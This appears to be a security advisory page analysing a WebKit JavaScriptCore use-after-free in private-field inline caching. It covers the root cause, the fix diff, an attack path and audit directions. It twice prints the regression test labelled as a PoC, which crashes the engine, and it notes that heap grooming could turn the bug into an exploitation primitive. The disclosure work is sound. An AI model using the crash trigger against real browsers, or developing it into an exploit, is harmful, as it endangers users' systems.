Medium CVSS 4.3 webkit UAF 🔧 Commit mapped

Overview

Medium
Severity
4.3
CVSS
No
Exploited ITW
Fixed
Fix Status
DescriptionProcessing maliciously crafted web content may lead to an unexpected Safari crash
ComponentJSC
Sub-componentJSC Bytecode
Bug ClassUAF
Tracker285643
Fix commitd7bd7d8f7cdf (WebKit/WebKit) +37/-8
CWECWE-416 (Use-after-free)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L
CISA KEVNot listed
Creditedrheza (@ginggilBesel)
Disclosed2025-03-31

Background

Inline cache (IC) / Repatch
JSC caches property accesses; Repatch.cpp builds/repatches the cached cases.
Property-miss condition set
Watchpoints/conditions over prototype-chain structures that a cached access assumes remain valid.
Private name field
A class #private field; a direct own-property define that does NOT need prototype-chain conditions.

Root Cause Analysis

The bug is in JavaScriptCore’s inline-cache generation for property access in Repatch.cpp, on the private-name path. In tryCachePutBy, the DefinePrivateNameById/DefinePrivateNameByVal cases called generateConditionsForPropertyMiss() to build a property-condition set for the define, and gave up if it was invalid. That is wrong: defining a static/instance private field is a direct own-property operation with a known structure transition and does not depend on prototype-chain ‘property miss’ conditions. Generating such a condition set attaches watchpoint/condition objects that reference other structures; those references can become stale as structures are reclaimed, so a later use or repatch of the cached case can dereference freed condition/structure objects — a use-after-free, matching the ‘unexpected Safari crash’ impact.

The fix removes the generateConditionsForPropertyMiss call from the DefinePrivateName cases (private fields need no property conditions), and hardens the surrounding state machine: on the private get path it adds RELEASE_ASSERT(conditionSet.isEmpty()) to enforce that private gets carry no conditions; PrivateName/PrivateNameById get kinds and SetPrivateNameById/SetPrivateNameByVal put kinds are moved to RELEASE_ASSERT_NOT_REACHED() so the caching machinery cannot silently follow a path that would build conditions for them; and tryCacheInBy’s default case becomes RELEASE_ASSERT_NOT_REACHED() instead of a silent break.

The restored invariant: private-name field accesses are cached without prototype-chain property conditions, so no stale condition objects can be created or later dereferenced. The regression test defines a class with a static #private field and repeatedly instantiates it while mutating proto and allocating Float64Arrays to force structure churn and GC, exercising the previously stale conditions. INFERENCE: the exact freed object and repatch site that dereferences it are in the IC repatch/GC machinery not fully shown here; the commit establishes that the erroneous condition set was created and is now removed.

Key insight
Private-name field defines must not generate prototype property-miss conditions; the spurious conditions referenced structures that GC could free, leaving the cached case dangling.

Attack Path

  1. Define a class with static private fields The page runs JavaScript declaring a class with a static #private field (as in the regression test), whose define goes through JSC’s private-name PutBy inline cache.
  2. Force repeated caching with structure transitions The script instantiates the class many times and mutates object shapes (e.g. Object.proto reassignment) so the DefinePrivateName inline cache builds property-miss condition sets.
  3. Apply GC pressure Large allocations (new Float64Array(…)) trigger garbage collection that can reclaim structures referenced by the spurious condition objects.
  4. Re-run the cached access Subsequent execution repatches/checks the cached private-name case, dereferencing a condition or structure that GC has freed.
  5. Trigger the use-after-free The dangling dereference corrupts or reads freed memory, producing the unexpected Safari crash (and, with heap grooming, a potentially exploitable primitive — standard escalation, not shown by the patch).

Impact Assessment

A use-after-free of condition/structure objects reachable from crafted JS with structure churn and GC; medium as a crash but a UAF that can be shaped into a type-confusion primitive.

Changed Functions

FunctionChangeNotes
if
Source/JavaScriptCore/bytecode/Repatch.cpp
modified
for
JSTests/stress/static-private-fields-dont-need-property-conditions.js
modified
C21
JSTests/stress/static-private-fields-dont-need-property-conditions.js
modified

Files Changed

  • JSTests/stress/static-private-fields-dont-need-property-conditions.js
  • Source/JavaScriptCore/bytecode/Repatch.cpp

Audit Directions

  • Condition sets on non-prototype accesses
    Grep tryCachePutBy/tryCacheGetBy for generateConditionsForProperty* on private-name/own-property kinds that shouldn’t carry conditions.
  • Unreachable IC kinds
    Ensure private-name kinds hit RELEASE_ASSERT_NOT_REACHED rather than silently building caches.
diff --git a/Source/JavaScriptCore/bytecode/Repatch.cpp b/Source/JavaScriptCore/bytecode/Repatch.cpp
index 075b4de86dd3..0a69aac032c0 100644
--- a/Source/JavaScriptCore/bytecode/Repatch.cpp
+++ b/Source/JavaScriptCore/bytecode/Repatch.cpp
@@ -497,6 +497,9 @@ static InlineCacheAction tryCacheGetBy(JSGlobalObject* globalObject, CodeBlock*
                 newCase = AccessCase::create(vm, codeBlock, AccessCase::IndexedProxyObjectLoad, nullptr);
                 break;
             }
+            case GetByKind::PrivateName:
+            case GetByKind::PrivateNameById:
+                RELEASE_ASSERT_NOT_REACHED();
             default:
                 break;
             }
@@ -635,6 +638,7 @@ static InlineCacheAction tryCacheGetBy(JSGlobalObject* globalObject, CodeBlock*
             else {
                 if (isPrivate) {
                     RELEASE_ASSERT(!slot.isUnset());
+                    RELEASE_ASSERT(conditionSet.isEmpty());
                     constexpr bool isGlobalProxy = false;
                     if (!slot.isCacheable())
                         return GiveUpOnCache;
@@ -1113,13 +1117,9 @@ static InlineCacheAction tryCachePutBy(JSGlobalObject* globalObject, CodeBlock*
                     break;
                 }
                 case PutByKind::DefinePrivateNameById:
-                case PutByKind::DefinePrivateNameByVal: {
+                case PutByKind::DefinePrivateNameByVal:
                     ASSERT(ident.isPrivateName());
-                    conditionSet = generateConditionsForPropertyMiss(vm, codeBlock, globalObject, newStructure, ident.impl());
-                    if (!conditionSet.isValid())
-                        return GiveUpOnCache;
                     break;
-                }
                 case PutByKind::ByIdDirectStrict:
                 case PutByKind::ByIdDirectSloppy:
                 case PutByKind::ByValDirectStrict:
@@ -1213,12 +1213,13 @@ static InlineCacheAction tryCachePutBy(JSGlobalObject* globalObject, CodeBlock*
             }
             case PutByKind::DefinePrivateNameById:
             case PutByKind::DefinePrivateNameByVal:
+            case PutByKind::SetPrivateNameById:
+            case PutByKind::SetPrivateNameByVal:
+                RELEASE_ASSERT_NOT_REACHED();
             case PutByKind::ByIdDirectStrict:
             case PutByKind::ByIdDirectSloppy:
             case PutByKind::ByValDirectStrict:
             case PutByKind::ByValDirectSloppy:
-            case PutByKind::SetPrivateNameById:
-            case PutByKind::SetPrivateNameByVal:
                 return GiveUpOnCache;
             }
         }
@@ -1566,7 +1567,7 @@ static InlineCacheAction tryCacheInBy(
                 break;
             }
             default:
-                break;
+                RELEASE_ASSERT_NOT_REACHED();
             }
         } else if (wasFound) {
             if (!structure->propertyAccessesAreCacheable())
diff --git a/JSTests/stress/static-private-fields-dont-need-property-conditions.js b/JSTests/stress/static-private-fields-dont-need-property-conditions.js
new file mode 100644
index 000000000000..37ccd62442c2
--- /dev/null
+++ b/JSTests/stress/static-private-fields-dont-need-property-conditions.js
@@ -0,0 +1,28 @@
+function f0() {
+}
+const v3 = Object.getOwnPropertyNames(this);
+this / Object;
+const v7 = f0();
+try {
+    Object(f0, true);
+} catch(e11) {
+}
+for (const v12 of v3) {
+    const v14 = this[v12];
+    for (let i16 = 0;
+        (() => {
+            class C21 extends Object {
+                static #f = v14;
+                6 = Object;
+            }
+            new C21();
+            new C21();
+            new C21();
+            Object.__proto__ = v3;
+            new Float64Array(2887);
+            return i16 < 32;
+        })();
+        i16++) {
+    }
+    Object[v12] = this;
+}
\ No newline at end of file
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/JSTests/stress/static-private-fields-dont-need-property-conditions.js b/JSTests/stress/static-private-fields-dont-need-property-conditions.js
new file mode 100644
index 000000000000..37ccd62442c2
--- /dev/null
+++ b/JSTests/stress/static-private-fields-dont-need-property-conditions.js
@@ -0,0 +1,28 @@
+function f0() {
+}
+const v3 = Object.getOwnPropertyNames(this);
+this / Object;
+const v7 = f0();
+try {
+    Object(f0, true);
+} catch(e11) {
+}
+for (const v12 of v3) {
+    const v14 = this[v12];
+    for (let i16 = 0;
+        (() => {
+            class C21 extends Object {
+                static #f = v14;
+                6 = Object;
+            }
+            new C21();
+            new C21();
+            new C21();
+            Object.__proto__ = v3;
+            new Float64Array(2887);
+            return i16 < 32;
+        })();
+        i16++) {
+    }
+    Object[v12] = this;
+}
\ No newline at end of file
Loading diff…

Original Bug Report

The reporter's bug is still restricted on the tracker.